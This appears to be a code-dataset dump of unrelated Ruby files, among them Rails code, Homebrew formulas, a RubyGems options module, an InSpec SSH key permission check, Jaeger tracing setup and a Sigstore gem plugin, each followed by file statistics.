if @workers.key?(w.pid) && !@workers[w.pid][:last_heartbeat].nil? && @workers[w.pid][:last_heartbeat] > w.last_heartbeat
w.update_attributes(:last_heartbeat => @workers[w.pid][:last_heartbeat])
end
end
end
end
| 34.568182 | 126 | 0.683761 |
4a03a8e48064b5aa5a856f9456b2e0ec405288db | 123 | class AddRecordIdToCreator < ActiveRecord::Migration
def change
add_column :creators, :record_id, :integer
end
end
| 20.5 | 52 | 0.772358 |
28046fbf5b1a2cb338cb4ea64db69f1ade14b984 | 281 | class Xtrafinder < Cask
version :latest
sha256 :no_check
url 'http://www.trankynam.com/xtrafinder/downloads/XtraFinder.dmg'
homepage 'http://www.trankynam.com/xtrafinder/'
license :unknown
pkg 'XtraFinder.pkg'
uninstall :pkgutil => 'com.trankynam.xtrafinder.*'
end
| 23.416667 | 68 | 0.740214 |
28ac6f31d30f772cdc8c37b09160ba5304073c26 | 1,402 | class Taisei < Formula
desc "Clone of Tōhō Project shoot-em-up games"
homepage "https://taisei-project.org/"
url "https://github.com/taisei-project/taisei.git",
:tag => "v1.3",
:revision => "f8ef67224f47e85f4095e32736dc21e0d46ae5b7"
bottle do
sha256 "81286c197a97f979323bcded1b9ed5756b31c35e36381e6011a87aa2ffd73264" => :mojave
sha256 "97c3b7de6e84bbd476bd006bae3561814d9c35c3e7961d3750a1df0ad16d9f4a" => :high_sierra
sha256 "97afc62541cd893e05a922ae4e36bd456e1cb2746a3d46503569916cd20a16da" => :sierra
end
# Yes, these are all build deps; the game copies them into the app bundle,
# and doesn't require the Homebrew versions at runtime.
depends_on "freetype" => :build
depends_on "libpng" => :build
depends_on "libzip" => :build
depends_on "meson" => :build
depends_on "ninja" => :build
depends_on "[email protected]" => :build
depends_on "pkg-config" => :build
depends_on "python" => :build
depends_on "sdl2" => :build
depends_on "sdl2_mixer" => :build
depends_on "sdl2_ttf" => :build
def install
mkdir "build" do
system "meson", "--prefix=#{prefix}", "-Ddocs=false", ".."
system "ninja"
system "ninja", "install"
end
end
def caveats
"Sound may not work."
end
test do
output = shell_output("#{prefix}/Taisei.app/Contents/MacOS/Taisei -h", 1)
assert_match "Tōhō Project", output
end
end
| 31.155556 | 93 | 0.694722 |
1a5410bef7d6f7bc82daa96812a51431560ba21c | 2,882 | #--
# Copyright 2006 by Chad Fowler, Rich Kilmer, Jim Weirich and others.
# All rights reserved.
# See LICENSE.txt for permissions.
#++
require 'rubygems'
# Mixin methods for local and remote Gem::Command options.
module Gem::LocalRemoteOptions
# Allows OptionParser to handle HTTP URIs.
def accept_uri_http
OptionParser.accept URI::HTTP do |value|
begin
value = URI.parse value
rescue URI::InvalidURIError
raise OptionParser::InvalidArgument, value
end
raise OptionParser::InvalidArgument, value unless value.scheme == 'http'
value
end
end
# Add local/remote options to the command line parser.
def add_local_remote_options
add_option(:"Local/Remote", '-l', '--local',
'Restrict operations to the LOCAL domain') do |value, options|
options[:domain] = :local
end
add_option(:"Local/Remote", '-r', '--remote',
'Restrict operations to the REMOTE domain') do |value, options|
options[:domain] = :remote
end
add_option(:"Local/Remote", '-b', '--both',
'Allow LOCAL and REMOTE operations') do |value, options|
options[:domain] = :both
end
add_bulk_threshold_option
add_source_option
add_proxy_option
add_update_sources_option
end
# Add the --bulk-threshold option
def add_bulk_threshold_option
add_option(:"Local/Remote", '-B', '--bulk-threshold COUNT',
"Threshold for switching to bulk",
"synchronization (default #{Gem.configuration.bulk_threshold})") do
|value, options|
Gem.configuration.bulk_threshold = value.to_i
end
end
# Add the --http-proxy option
def add_proxy_option
accept_uri_http
add_option(:"Local/Remote", '-p', '--[no-]http-proxy [URL]', URI::HTTP,
'Use HTTP proxy for remote operations') do |value, options|
options[:http_proxy] = (value == false) ? :no_proxy : value
Gem.configuration[:http_proxy] = options[:http_proxy]
end
end
# Add the --source option
def add_source_option
accept_uri_http
add_option(:"Local/Remote", '--source URL', URI::HTTP,
'Use URL as the remote source for gems') do |value, options|
if options[:added_source] then
Gem.sources << value
else
options[:added_source] = true
Gem.sources.replace [value]
end
end
end
# Add the --source option
def add_update_sources_option
add_option(:"Local/Remote", '-u', '--[no-]update-sources',
'Update local source cache') do |value, options|
Gem.configuration.update_sources = value
end
end
# Is local fetching enabled?
def local?
options[:domain] == :local || options[:domain] == :both
end
# Is remote fetching enabled?
def remote?
options[:domain] == :remote || options[:domain] == :both
end
end
| 26.934579 | 82 | 0.646426 |
e2194710e5c0693705d224b6b496a4d350e497db | 2,004 | # encoding: utf-8
#
control "V-72255" do
title "The SSH public host key files must have mode 0644 or less permissive."
desc "If a public host key file is modified by an unauthorized user, the SSH
service may be compromised."
impact 0.5
tag "gtitle": "SRG-OS-000480-GPOS-00227"
tag "gid": "V-72255"
tag "rid": "SV-86879r1_rule"
tag "stig_id": "RHEL-07-040410"
tag "cci": ["CCI-000366"]
tag "documentable": false
tag "nist": ["CM-6 b", "Rev_4"]
tag "subsystems": ["ssh"]
tag "check": "Verify the SSH public host key files have mode \"0644\" or less
permissive.
Note: SSH public key files may be found in other directories on the system
depending on the installation.
The following command will find all SSH public key files on the system:
# find /etc/ssh -name '*.pub' -exec ls -lL {} \\;
-rw-r--r-- 1 root wheel 618 Nov 28 06:43 ssh_host_dsa_key.pub
-rw-r--r-- 1 root wheel 347 Nov 28 06:43 ssh_host_key.pub
-rw-r--r-- 1 root wheel 238 Nov 28 06:43 ssh_host_rsa_key.pub
If any file has a mode more permissive than \"0644\", this is a finding."
tag "fix": "Note: SSH public key files may be found in other directories on
the system depending on the installation.
Change the mode of public host key files under \"/etc/ssh\" to \"0644\" with
the following command:
# chmod 0644 /etc/ssh/*.key.pub"
tag "fix_id": "F-78609r1_fix"
pub_files = command("find /etc/ssh -xdev -name '*.pub' -perm /133").stdout.split("\n")
if !pub_files.nil? and !pub_files.empty?
pub_files.each do |pubfile|
describe file(pubfile) do
it { should_not be_executable.by('user') }
it { should_not be_executable.by('group') }
it { should_not be_writable.by('group') }
it { should_not be_executable.by('others') }
it { should_not be_writable.by('others') }
end
end
else
describe "No files have a more permissive mode." do
subject { pub_files.nil? or pub_files.empty? }
it { should eq true }
end
end
end
| 34.551724 | 88 | 0.673653 |
334732af9c3bad6118da49de90778d3fdd50a687 | 829 |
require "todoly/rest_interface"
require "todoly/project"
require "todoly/filter"
require "todoly/task"
class Todoly
def initialize(opt={})
@rest_if = RestInterface.new(opt)
@projects = nil
@filters = nil
@tasks = nil
end
def projects
@projects ||= Project.list(@rest_if)
end
def find_project(name)
projects().find{|prj| name === prj.name }
end
def filters
@filters ||= Filter.list(@rest_if)
end
def find_filters(name)
filters().find{|f| name === f.name }
end
def tasks
@tasks ||= Task.list(@rest_if)
end
def find_task(name)
tasks().find{|t| name === t.name }
end
def new_task(str, project = nil)
obj = {}
if project
obj["ProjectId"] = project.id
end
t = Task.create(@rest_if, str, obj)
@tasks << t if @tasks
t
end
end
| 16.918367 | 45 | 0.613993 |
870c69cb15da22f44e10ef5d80c5a29ac00b88f2 | 1,494 | require "rails_helper"
RSpec.describe Api::Courier::ProfilesController,
type: :request do
let(:user) { create :user }
before { login_as user }
describe "doesn't create courier profile for user" do
let(:invalid_attributes) {
attributes_for(:courier_profile).except(:ruc)
}
before do
post_with_headers(
"/api/courier/profile",
invalid_attributes
)
end
it {
expect(user.reload.courier_profile).to be_nil
}
it {
json = JSON.parse response.body
expect(
json["errors"]["ruc"]
).to be_present
}
end
describe "creates valid courier profile for user" do
before do
expect {
post_with_headers(
"/api/courier/profile",
attributes_for(:courier_profile).merge(
place_id: user.current_place.id
)
)
}.to change{ CourierProfile.count }.by(1)
end
it {
courier_profile = CourierProfile.last
expect(courier_profile.user).to eq(user)
}
end
describe "already courier" do
let(:user) { create :user, :courier }
before do
expect {
post_with_headers(
"/api/courier/profile",
attributes_for(:courier_profile)
)
}.to_not change(CourierProfile, :count)
end
it "gets halted by pundit" do
expect(response.status).to eq(401)
expect(
JSON.parse(response.body)
).to have_key("error")
end
end
end
| 21.042254 | 55 | 0.595716 |
26621b82bc2ffae7cb07d7486de7a4272334b35a | 417 | require "rubocop/inspecstyle/version"
module RuboCop
module InSpecStyle
class Error < StandardError; end
# Your code goes here...
PROJECT_ROOT = Pathname.new(__dir__).parent.parent.expand_path.freeze
CONFIG_DEFAULT = PROJECT_ROOT.join('config', 'default.yml').freeze
CONFIG = YAML.safe_load(CONFIG_DEFAULT.read).freeze
private_constant(:CONFIG_DEFAULT, :PROJECT_ROOT)
end
end
| 27.8 | 75 | 0.733813 |
e8038dd6ee5de68f5ac4135c43d3e90d7415ac7a | 723 | #
# Author: Emilien Macchi <[email protected]>
#
require 'puppet'
require 'puppet/type/mongodb_replset'
describe Puppet::Type.type(:mongodb_replset) do
before :each do
@replset = Puppet::Type.type(:mongodb_replset).new(:name => 'test')
end
it 'should accept a replica set name' do
@replset[:name].should == 'test'
end
it 'should accept a members array' do
@replset[:members] = ['mongo1:27017', 'mongo2:27017']
@replset[:members].should == ['mongo1:27017', 'mongo2:27017']
end
it 'should require a name' do
expect {
Puppet::Type.type(:mongodb_replset).new({})
}.to raise_error(Puppet::Error, 'Title or name must be provided')
end
end
| 24.931034 | 72 | 0.648686 |
1c7fb65417a52d488f4b030ea7f4937d697196dc | 1,142 | # Copyright 2015 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require 'google/apis/tpu_v1alpha1/service.rb'
require 'google/apis/tpu_v1alpha1/classes.rb'
require 'google/apis/tpu_v1alpha1/representations.rb'
module Google
module Apis
# Cloud TPU API
#
# TPU API provides customers with access to Google TPU technology.
#
# @see https://cloud.google.com/tpu/
module TpuV1alpha1
VERSION = 'V1alpha1'
REVISION = '20200909'
# View and manage your data across Google Cloud Platform services
AUTH_CLOUD_PLATFORM = 'https://www.googleapis.com/auth/cloud-platform'
end
end
end
| 32.628571 | 76 | 0.735552 |
08cd91b6c368193df0ad33fb332293803f4d7056 | 449 | # jruby scripting container
jar 'org.jruby:jruby-core', '@project.version@'
jar 'org.jruby:jruby-stdlib', '@project.version@'
# unit tests
jar 'junit:junit', '4.8.2', :scope => :test
properties 'tesla.dump.pom' => 'pom.xml', 'tesla.dump.readOnly' => true
plugin :surefire, '2.15', :reuseForks => false, :additionalClasspathElements => [ '${basedir}/../../../../../core/target/test-classes', '${basedir}/../../../../../test/target/test-classes' ]
| 40.818182 | 190 | 0.648107 |
ff4de659ea2c79e440fbfcc21bf900471884c1fe | 1,987 | # Cookbook Name:: wlp
# Attributes:: default
#
# (C) Copyright IBM Corporation 2013.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
=begin
#<
Adds, removes, and sets bootstrap properties for a particular server instance.
@action add Adds properties to the bootstrap.properties file. Other existing properties in the file are preserved.
@action remove Removes properties from the bootstrap.properties file. Other existing properties in the file are preserved.
@action set Set properties in the bootstrap.properties file. Other existing properties in the file are not preserved.
@section Examples
```ruby
wlp_bootstrap_properties "add to bootstrap.properties" do
server_name "myInstance"
properties "com.ibm.ws.logging.trace.file.name" => "trace.log"
action :add
end
wlp_bootstrap_properties "remove from bootstrap.properties" do
server_name "myInstance"
properties [ "com.ibm.ws.logging.trace.file.name" ]
action :remove
end
wlp_bootstrap_properties "set bootstrap.properties" do
properties "default.http.port" => "9081", "default.https.port" => "9444"
action :set
end
```
#>
=end
actions :add, :remove, :set
#<> @attribute server_name Name of the server instance.
attribute :server_name, :kind_of => String, :default => nil
#<> @attribute properties The properties to add, remove, or set. Must be specified as a hash when adding or setting and as an array when removing.
attribute :properties, :kind_of => [Hash, Array], :default => nil
default_action :set
| 34.859649 | 146 | 0.75994 |
18142a12339d6fe8eb103a17c79d9f0e90de955c | 269 | class AddAttributesToProjectDependencies < ActiveRecord::Migration[5.1]
def change
add_column :project_dependencies, :github_url, :string
add_column :project_dependencies, :website, :string
add_column :project_dependencies, :owner_name, :string
end
end
| 33.625 | 71 | 0.788104 |
d5d909752186e9df8416629fd1d8975ec530e39c | 146 | require File.expand_path('../../../spec_helper', __FILE__)
describe "String#rpartition" do
it "needs to be reviewed for spec completeness"
end
| 24.333333 | 58 | 0.739726 |
ac7ccccb44b07eddd04f2428f6c3f427ecc4673c | 638 | require 'benchmark'
require 'pcg_random'
Iterations = 100_000
SeedSize = 16
puts "### PCGRandom.raw_seed(16)"
puts "```bash"
puts "Benchmark of Random.raw_seed(#{SeedSize}) vs PCGRandom.raw_seed(#{SeedSize})"
puts "=================================================="
puts ""
puts "Benchmark created around: #{Time.now}"
puts ""
puts "Running for: #{Iterations} iterations"
puts ""
Benchmark.bmbm do |bench|
bench.report("Random.raw_seed(#{SeedSize})") do
Iterations.times {Random.raw_seed SeedSize}
end
bench.report("PCGRandom.raw_seed(#{SeedSize})") do
Iterations.times {PCGRandom.raw_seed SeedSize}
end
end
puts "```" | 25.52 | 83 | 0.659875 |
3967ca4a1c7507d660cb7c2a4349cd8240734bd7 | 215 |
class HadoopStateChange
# @timestamp
# @previousState
# @newState
def initialize(time, prev_state, new_state)
@timestamp = time
@previous_state = prev_state
@new_state = new_state
end
end | 13.4375 | 45 | 0.693023 |
ab55b8f16107d473ddbb239c5a99065334403408 | 376 | class Module
def trace_attr(sym)
self.module_eval %{def #{sym}
printf "Accessing %s with value %s\n", "#{sym}", #{sym}.inspect
@#{sym}
end}
end
end
class Dog
trace_attr :name
def initialize(string)
@name = string
end
end
Dog.new("Fido").name # => Accessing name with value "Fido" | 18.8 | 88 | 0.523936 |
610e32fc75e4784f9fbfa4769469a573cebab162 | 1,374 | # coding: utf-8
lib = File.expand_path('../lib', __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'hue_control/version'
Gem::Specification.new do |spec|
spec.name = "hue_control"
spec.version = HueControl::VERSION
spec.authors = ["Karsten Silkenbäumer"]
spec.summary = %q{Utility to control hue devices}
spec.description = %q{Utility to control hue devices}
spec.homepage = "http://www.kluks.de/"
spec.license = "MIT"
# Prevent pushing this gem to RubyGems.org by setting 'allowed_push_host', or
# delete this section to allow pushing this gem to any host.
if spec.respond_to?(:metadata)
spec.metadata['allowed_push_host'] = "TODO: Set to 'http://mygemserver.com'"
else
raise "RubyGems 2.0 or newer is required to protect against public gem pushes."
end
spec.files = `git ls-files -z`.split("\x0").reject { |f| f.match(%r{^(test|spec|features)/}) }
spec.bindir = "exe"
spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) }
spec.require_paths = ["lib"]
spec.add_development_dependency "bundler", "~> 1.10"
spec.add_development_dependency "rake", "~> 10.0"
spec.add_development_dependency "rspec"
spec.add_dependency "thor", "~> 0.19"
spec.add_dependency "rest-client", "~> 1.8"
spec.add_dependency "awesome_print"
end
| 37.135135 | 104 | 0.673945 |
f8106fa5330794a29bbeb69d6782fe53fec8784e | 3,704 | # encoding: UTF-8
module Wice
module GridViewHelper
# View helper to render the list of saved queries and the form to create a new query.
# Parameters:
# * <tt>:extra_parameters</tt> - a hash of additional parameters to use when creating a new query object.
# Read section "Adding Application Specific Logic to Saving/Restoring Queries" in README for more details.
def saved_queries_panel(grid, opts = {})
unless grid.kind_of? WiceGrid
raise WiceGridArgumentError.new("saved_queries_panel: the parameter must be a WiceGrid instance.")
end
options = {:extra_parameters => {}}
opts.assert_valid_keys(options.keys)
options.merge!(opts)
grid_name = grid.name
id_and_name = "#{grid_name}_saved_query_name"
base_path_to_query_controller = create_serialized_query_url(:grid_name => grid_name)
parameters = grid.get_state_as_parameter_value_pairs
options[:extra_parameters].each do |k, v|
parameters << [ CGI.unescape({:extra => {k => ''}}.to_query.sub(/=$/,'')) , v.to_s ]
end
parameters << ['authenticity_token', form_authenticity_token]
(%! <div class="wice_grid_query_panel"><h3>#{WiceGridNlMessageProvider.get_message(:SAVED_QUERY_PANEL_TITLE)}</h3>! +
saved_queries_list(grid_name, grid.saved_query, options[:extra_parameters]) +
%!<div id="#{grid_name}_notification_messages" onmouseover="#{Wice::JsAdaptor.fade_this}"></div>! +
if block_given?
view, ids = yield
view
else
''
end +
text_field_tag(id_and_name, '', :size => 20, :onkeydown=>'', :id => id_and_name) +
button_to_function(WiceGridNlMessageProvider.get_message(:SAVE_QUERY_BUTTON_LABEL), "#{grid_name}_save_query()" ) +
'</div>' +
javascript_tag do
JsAdaptor.call_to_save_query_and_key_event_initialization_for_saving_queries(
id_and_name, grid_name, base_path_to_query_controller, parameters.to_json, ids.to_json
)
end
).html_safe
end
def saved_queries_list(grid_name, saved_query = nil, extra_parameters = nil) #:nodoc:
link_title = WiceGridNlMessageProvider.get_message(:SAVED_QUERY_LINK_TITLE)
deletion_confirmation = WiceGridNlMessageProvider.get_message(:SAVED_QUERY_DELETION_CONFIRMATION)
deletion_link_title = WiceGridNlMessageProvider.get_message(:SAVED_QUERY_DELETION_LINK_TITLE)
query_store_model = ::Wice::get_query_store_model
currently_loaded_query_id = saved_query ? saved_query.id : nil
with = extra_parameters.nil? ? nil : "'" + {:extra => extra_parameters}.to_query + "'"
%!<ul id="#{grid_name}_query_list" class="query_list"> ! +
query_store_model.list(grid_name, controller).collect do |sq|
link_opts = {:class => 'query_load_link', :title => "#{link_title} #{sq.name}"}
link_opts[:class] += ' current' if saved_query == sq
"<li>"+
link_to_remote(image_tag(Defaults::DELETE_QUERY_ICON),
{:url => delete_serialized_query_path(:grid_name => grid_name, :id => sq.id, :current => currently_loaded_query_id ),
:confirm => deletion_confirmation, :with => with},
{:title => "#{deletion_link_title} #{sq.name}"} ) + ' ' +
link_to_function(h(sq.name),
%/ if (typeof(#{grid_name}) != "undefined") #{grid_name}.load_query(#{sq.id}) /,
link_opts) +
if sq.respond_to? :description
desc = sq.description
desc.blank? ? '' : " <i>#{desc}</i>"
else
''
end +
'</li>'
end.join('') + '</ul>'
end
end
end | 45.170732 | 127 | 0.650378 |
acde2e2b57240d41c3dfb30e3ce7d99f5540569c | 939 | # frozen_string_literal: true
require_relative "default_result_renderer"
module Results
module Renderers
class TeamNameRenderer < Results::Renderers::DefaultResultRenderer
def self.render(column, row)
result = row.source
text = row[column.key]
return text unless result.team_id
if result.calculation_result?
"<a href=\"/calculations/results/#{result.id}\">#{text}</a>"
elsif result.team_competition_result?
"<a href=\"/events/#{result.event_id}/teams/#{result.team_id}/results##{result.race_id}\">#{text}</a>"
elsif racing_association.unregistered_teams_in_results? ||
result.team_member? ||
result.year < racing_association.year
"<a href=\"/teams/#{result.team_id}/#{result.year}\">#{text}</a>"
end
end
def self.racing_association
RacingAssociation.current
end
end
end
end
| 28.454545 | 112 | 0.642173 |
21d1f298b7db7e17a8cc3ba24aee06d12a02ab04 | 1,606 | # frozen_string_literal: true
module JCW
class Init
class << self
def call
init_jaeger_client
activate_subscribers
init_http_tracer
end
private
def init_jaeger_client
return unless config.enabled?
reporter = config.connection[:protocol].to_sym == :tcp ? tcp_reporter : nil
OpenTracing.global_tracer = Jaeger::Client.build(
service_name: config.service_name,
host: config.connection[:host],
port: config.connection[:port],
flush_interval: config.flush_interval,
reporter: reporter,
tags: config.tags,
)
end
def tcp_reporter
Jaeger::Reporters::RemoteReporter.new(
sender: Jaeger::HttpSender.new(
url: config.connection[:url],
headers: config.connection[:headers] || {},
encoder: Jaeger::Encoders::ThriftEncoder.new(
service_name: config.service_name,
tags: config.tags,
),
),
flush_interval: config.flush_interval,
)
end
def activate_subscribers
events = config.subscribe_to
return if events.blank?
events.each { |event| JCW::Subscriber.subscribe_to_event!(event) }
end
def init_http_tracer
HTTP::Tracer.instrument
HTTP::Tracer.remove # remove after gem 'httprb-opentracing' released PR#8
HttpTracer.patch_perform # remove after gem 'httprb-opentracing' released PR#8
end
def config
Wrapper.config
end
end
end
end
| 25.903226 | 86 | 0.60523 |
61b57d386e0b3c86071688203b7bff7b6a23a152 | 61 | source 'https://rubygems.org'
gem 'wwtd'
gemspec path: '..'
| 12.2 | 29 | 0.655738 |
086691d5ed8d28b4c2bb5e8ee8a5bdc85051b50d | 958 | # Copyright 2021 The Sigstore Authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require 'rubygems/command_manager'
require 'rubygems/sigstore'
require 'rubygems/commands/signatures_command'
require 'rubygems/commands/build_command_extend'
require 'rubygems/commands/install_command_extend'
Gem::CommandManager.instance.register_command :signatures
[:signatures, :build, :install].each do |cmd_name|
cmd = Gem::CommandManager.instance[cmd_name]
end
| 36.846154 | 74 | 0.7881 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.